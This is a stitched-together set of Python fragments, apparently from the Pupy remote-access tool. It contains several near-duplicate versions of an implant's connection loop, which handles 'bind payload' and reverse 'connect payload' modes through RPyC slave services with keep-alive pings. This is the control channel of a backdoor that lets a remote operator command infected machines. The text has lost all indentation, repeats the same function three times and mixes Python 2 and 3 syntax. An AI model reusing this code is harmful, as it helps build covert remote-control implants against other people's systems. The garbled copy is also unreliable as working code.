def _setup_connection(self, lock, sock, queue):
'''Authenticate a client and if it succeeds, wraps the socket in a connection object.
Note that this code is cut and paste from the rpyc internals and may have to be
changed if rpyc evolves'''
tup = sock.getpeername()
h, p = tup[0], tup[
1] # tup can have different sizes depending on ipv4/ipv6
credentials = None
if self.authenticator:
try:
wrapper, credentials = self.authenticator(sock)
except AuthenticationError:
self.logger.info(
'{}:{} failed to authenticate, rejecting connection'.
format(h, p))
queue.put_nowait((None, None, None))
return
else:
wrapper = sock
# build a connection
config = dict(self.protocol_config,
credentials=credentials,
connid='{}:{}'.format(h, p))
stream = self.stream_class(wrapper, self.transport_class,
self.transport_kwargs)
connection = None
try:
self.logger.debug(
'{}:{} Authenticated. Starting connection'.format(h, p))
connection = PupyConnection(lock,
self.pupy_srv,
self.service,
Channel(stream),
config=config)
self.logger.debug('{}:{} Connection complete'.format(h, p))
finally:
self.logger.debug('{}:{} Report connection: {}'.format(
h, p, connection))
queue.put_nowait((connection, wrapper, credentials))
def rpyc_loop(launcher):
global attempt
global debug
stream = None
for ret in launcher.iterate():
logger.debug('Operation state: Terminated = {}'.format(sys.terminated))
if sys.terminated:
logger.warning('Loop terminated')
break
logger.debug('Acquire launcher: {}'.format(ret))
try:
pupy.connected = False
if isinstance(ret, tuple): # bind payload
server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
s = server_class(
BindSlaveService,
port=port,
hostname=address,
authenticator=authenticator,
stream=stream,
transport=transport,
transport_kwargs=transport_kwargs,
pupy_srv=None,
)
sys.terminate = s.close
pupy.connected = True
s.start()
sys.terminate = None
pupy.connected = False
else: # connect payload
stream = ret
conn = PupyConnection(None,
ReverseSlaveService,
PupyChannel(stream),
config={},
ping=stream.KEEP_ALIVE_REQUIRED)
conn.init()
conn.loop()
except SystemExit:
raise
except EOFError:
pass
except:
print_exception('[M]')
finally:
logger.debug('Launcher completed')
if stream is not None:
try:
stream.close()
except:
pass
def _iterate_launcher(self):
stream = None
for ret in self._launcher.iterate():
logger.debug('Operation state: Terminated = %s', self.terminated)
if self.terminated:
logger.warning('Loop terminated')
break
logger.debug('Acquire launcher: %s', ret)
try:
if isinstance(ret, tuple): # bind payload
server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
self.set_connection_info(
server_class(
self._bind_service,
port=port,
hostname=address,
authenticator=authenticator,
stream=stream,
transport=transport,
transport_kwargs=transport_kwargs,
pupy_srv=None,
))
self._connection.start()
else: # connect payload
stream = ret
self.set_connection_info(
PupyConnection(None,
self._connect_service,
PupyChannel(stream),
config={},
ping=stream.KEEP_ALIVE_REQUIRED))
self._connection.init()
self._connection.loop()
self._attempt = 0
except SystemExit:
raise
except EOFError:
pass
except Exception as e:
pupy.remote_error('Iterate launcher: {}', e)
finally:
logger.debug('Launcher completed')
self.reset_connection_info()
if stream is not None:
try:
stream.close()
except:
pass
if self.terminated:
break
def rpyc_loop(launcher):
global attempt
global debug
stream = None
for ret in launcher.iterate():
try:
if isinstance(ret, tuple): # bind payload
server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
s = server_class(
BindSlaveService,
port=port,
hostname=address,
authenticator=authenticator,
stream=stream,
transport=transport,
transport_kwargs=transport_kwargs,
pupy_srv=None,
)
s.start()
else: # connect payload
stream = ret
def check_timeout(event, cb, timeout=60):
time.sleep(timeout)
if not event.is_set():
logging.error('timeout occured!')
cb()
event = threading.Event()
t = threading.Thread(target=check_timeout,
args=(event, stream.close))
t.daemon = True
t.start()
lock = threading.RLock()
conn = None
try:
conn = PupyConnection(lock,
None,
ReverseSlaveService,
rpyc.Channel(stream),
config={})
conn._init_service()
finally:
event.set()
attempt = 0
with lock:
while not conn.closed:
conn.serve(10)
except SystemExit:
raise
except EOFError:
pass
except Exception as e:
if debug:
try:
logging.exception(e)
except:
print "Exception ({}): {}".format(type(e), e)
finally:
if stream is not None:
try:
stream.close()
except:
pass
def rpyc_loop(launcher):
global attempt
global debug
stream=None
for ret in launcher.iterate():
try:
if isinstance(ret, tuple): # bind payload
server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
s = server_class(
BindSlaveService,
port=port,
hostname=address,
authenticator=authenticator,
stream=stream,
transport=transport,
transport_kwargs=transport_kwargs,
pupy_srv=None,
)
s.start()
else: # connect payload
stream = ret
def check_timeout(event, cb, timeout=60):
time.sleep(timeout)
if not event.is_set():
logging.error('timeout occured!')
cb()
event = threading.Event()
t = threading.Thread(
target=check_timeout, args=(
event, stream.close))
t.daemon = True
t.start()
lock = threading.RLock()
conn = None
try:
conn = PupyConnection(
lock, None, ReverseSlaveService,
PupyChannel(stream), config={}
)
conn._init_service()
finally:
event.set()
attempt = 0
with lock:
while not conn.closed:
interval, timeout = conn.get_pings()
conn.serve(interval or 10)
if interval:
conn.ping(timeout)
except SystemExit:
raise
except EOFError:
pass
except Exception as e:
if debug:
try:
logging.exception(e)
except:
print "Exception ({}): {}".format(type(e), e)
finally:
if stream is not None:
try:
stream.close()
except:
pass